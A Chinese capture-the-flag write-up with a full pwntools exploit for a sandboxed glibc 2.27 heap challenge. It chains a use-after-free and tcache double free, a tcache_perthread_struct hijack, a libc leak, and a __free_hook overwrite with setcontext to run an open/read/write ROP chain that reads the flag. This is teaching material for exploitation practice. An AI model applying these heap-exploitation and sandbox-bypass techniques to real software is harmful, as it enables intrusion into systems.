程序分析

image-20240315094346705

四个功能

image-20240315094514356

根据add函数中的对index的判断,发现程序只能创建一个chunk。

image-20240315094826281

并且程序开启了沙盒,所以需要利用ORW来打

漏洞点

image-20240315094703915

delete函数中存在UAF

攻击思路

由于开启了沙盒,所以会在堆区开辟许多堆区,此时bin中很杂乱

image-20240315095032516

所以,可以先将这些bin申请出来,清空bin,便于接下来利用

image-20240315095752658

因为存在UAF,利用edit函数功能构造double_free。因为有一个key值在防止double_free,所以将其填充为0绕过检测

1
2
3
4
5
6
7
8
9
10
add(0,0x40)
delete(0)
edit(0,p64(0)*2)
delete(0)
show(0)
rl("Content: ")
heap_leak = u64(p.recv(6).ljust(8,'\x00'))
lg("heap_leak",heap_leak)
heap_base = heap_leak-0x1920
lg("heap_base",heap_base)

image-20240315100008489

先泄露heap_addr,根据偏移计算出heap_base。然后利用这个double_free,修改next指针申请tcache_perthread_chunk。

1
edit(0,p64(heap_base+0x10))

image-20240315100336738

申请两次即可申请到tcache_perthread_chunk。修改tcache_perthread_chunk中控制bin中chunks数量的counts。将0x250对应的counts修改为7,这样如果将tcache_perthread_chunk这个0x250大小的堆块释放掉的话,这个堆块就会进入unsortedbin中,从而泄露libc。

1
2
3
add(0,0x40)
add(0,0x40)
edit(0,p64(0)*4+p64(0x0000000007000000))

image-20240315100730390

image-20240315100944094

然后delete释放

1
2
3
4
5
6
7
8
delete(0)
show(0)
rl("Content: ")
libc_leak = uu64()

lg('libc_leak',libc_leak)
libc_base = libc_leak-0x3ebca0
lg("libc_base",libc_base)

image-20240315101051291

接下来就是思考如何利用ORW

堆区ORW可以利用SROP中的setcontext函数。

image-20240315101354593

当发生rt_sigreturn时,内核恢复用户进程上下文时(将Signal Frame保存的内容恢复到寄存器)就是利用这个函数恢复的。所以我们可以将free_hook劫持到setcontext+53的位置(因为从53开是对寄存器的恢复操作,并且前面的指令可能会导致crash)。当利用free时,进入到setcontext+53位置开始执行,由于rdi是堆块的地址,所以会根据堆区内容来恢复这些寄存器,也就是我们可以通在堆区构造合适的内容来修改这些寄存器的值。

push rcx这个指令相当于控制的rip的。

我们只需要利用这个setcontext来修改rsp和rip的值。rsp指向ORW的ROP链,rip指向ret。这样当setcontext结束就会执行到ORW的ROP链。ORW的ROP链和setcontext时的Signal Frame都保存在堆区,所以需要合理的控制chunk。

1
2
3
add(0,0x78)

edit(0,p64(0x0001010301010000) + p64(0)*9 + p64(free_hook) + p64(heap_base+0x90)+ p64(heap_base+0x90) + p64(heap_base+0x100) + p64(heap_base+0x150))

此时申请的chunk是tcache_perthread_chunk,通过控制chunk的counts和指向tcachebin的chunk指针来构造tcachbin中内容,分配想要分配出的chunk。

首先需要给free_hook留一个tcachebin,所以可以将0x40用来申请free_hook。因为setcontext的rdi是根据free时的chunk指针寻找偏移的,所以需要给0x5ce9fdab9090留一个tcachebin,最后申请再释放,此时的rdi就是0x5ce9fdab9090。rsp的地址为rdi+0xA0,rip是rdi+0xA8,所以需要申请到能修改这个地址内容的chunk。然后设置一个0x80大小的chunk来存放ORW的ROP链。

image-20240315102838865

其中0x60的counts为3就是方便后面构造,修改rsp和rip。

1
2
add(0,0x10)
edit(0,p64(heap_base+0x100))

此时tcachebin的0x70的counts为1并且指针是heap_base+0x100,如果申请0x60,即可获得该chunk并控制rsp和ret

rdi是heap_base+0x90,所以rsp是heap_base+0x130,ret是heap_base+0x138

申请的0x50来保存’/flag\x00\x00\x00’

1
2
3
4
5
6
add(0,0x50)
edit(0,'/flag\x00\x00\x00')


add(0,0x68)
edit(0,p64(0)*3+p64(0x50)+p64(0)*2+p64(heap_base+0x150)+p64(ret))

image-20240315104502758

1
2
add(0,0x30
edit(0,p64(setcontext+0x35))

申请free_hook并修改为setcontext。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(0,0x78)

open_part = p64(pop_rdi) + p64(heap_base+0x90) +p64(pop_rsi) +p64(0)+ p64(pop_rax) + p64(2) +p64(syscall)

read_part = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x10) + p64(read_addr)

write_part = p64(pop_rdi)+ p64(1) +p64(write_addr)

rl("Your choice: ")
sl('2')
rl("Index: ")
sl(str(0))
rl("Content: ")
s(open_part+read_part+write_part)

申请到heap_base+0x150处的chunk用来填充ORW的ROP链。

1
2
add(0,0x40)
delete(0)

再次申请到heap_base+0x90并且free,此时rdi是heap_base+0x90,经过SROP后rsp变为heap_base+0x150。rip变为ret,然后ret后会执行ORW的ROP链从而get_flag。

需要注意的是,如果ROP链直接执行open函数,实际上syscall调用的openat,由于沙盒只允许open,所以我们需要找到syscall;ret和pop rax利用syscall直接调用open系统调用

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node4.anna.nssctf.cn', 28223)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.27.so')
def add(index,size):
rl("Your choice: ")
sl('1')
rl("Index: ")
sl(str(index))
rl("Size: ")
sl(str(size))

def show(index):
rl("Your choice: ")
sl('3')
rl("Index: ")
sl(str(index))

def edit(index,content):
rl("Your choice: ")
sl('2')
rl("Index: ")
sl(str(index))
rl("Content: ")
sl(content)
def delete(index):
rl("Your choice: ")
sl('4')
rl("Index: ")
sl(str(index))

gdb.attach(p)
#clean heap
for i in range(12):
add(0,0x10)

for i in range(11):
add(0,0x60)
for i in range(1):
add(0,0x50)

for i in range(7):
add(0,0x70)
for i in range(7):
add(0,0x80)

add(0,0x40)
delete(0)
edit(0,p64(0)*2)
delete(0)
show(0)
rl("Content: ")
heap_leak = u64(p.recv(6).ljust(8,'\x00'))
lg("heap_leak",heap_leak)
heap_base = heap_leak-0x1920
lg("heap_base",heap_base)

edit(0,p64(heap_base+0x10))

add(0,0x40)
add(0,0x40)
edit(0,p64(0)*4+p64(0x0000000007000000))
delete(0)

show(0)
rl("Content: ")
libc_leak = uu64()

lg('libc_leak',libc_leak)
libc_base = libc_leak-0x3ebca0
lg("libc_base",libc_base)

malloc_hook = libc_base+libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
setcontext = libc_base+libc.sym['setcontext']
lg("setcontext",setcontext)
pop_rdi = 0x00000000000215bf + libc_base
pop_rdx = 0x0000000000001b96 + libc_base
pop_rsi = 0x0000000000023eea + libc_base
ret = 0x00000000000008aa + libc_base
syscall = 0x00000000000d2745 + libc_base
pop_rax = 0x0000000000043ae8 + libc_base
pop_rdx_rsi = 0x0000000000130569+libc_base

open_addr = libc_base+libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

add(0,0x78)

edit(0,p64(0x0001010301010000) + p64(0)*9 + p64(free_hook) + p64(heap_base+0x90)+ p64(heap_base+0x90) + p64(heap_base+0x100) + p64(heap_base+0x150))

add(0,0x10)
edit(0,p64(heap_base+0x100))

add(0,0x50)
edit(0,'/flag\x00\x00\x00')

add(0,0x68)
edit(0,p64(0)*3+p64(0x50)+p64(0)*2+p64(heap_base+0x150)+p64(ret))

add(0,0x30)
edit(0,p64(setcontext+0x35))

add(0,0x78)

open_part = p64(pop_rdi) + p64(heap_base+0x90) +p64(pop_rsi) +p64(0)+ p64(pop_rax) + p64(2) +p64(syscall)

read_part = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x10) + p64(read_addr)

write_part = p64(pop_rdi)+ p64(1) +p64(write_addr)

rl("Your choice: ")
sl('2')
rl("Index: ")
sl(str(0))
rl("Content: ")
s(open_part+read_part+write_part)

add(0,0x40)
delete(0)


inter()

image-20240315105345850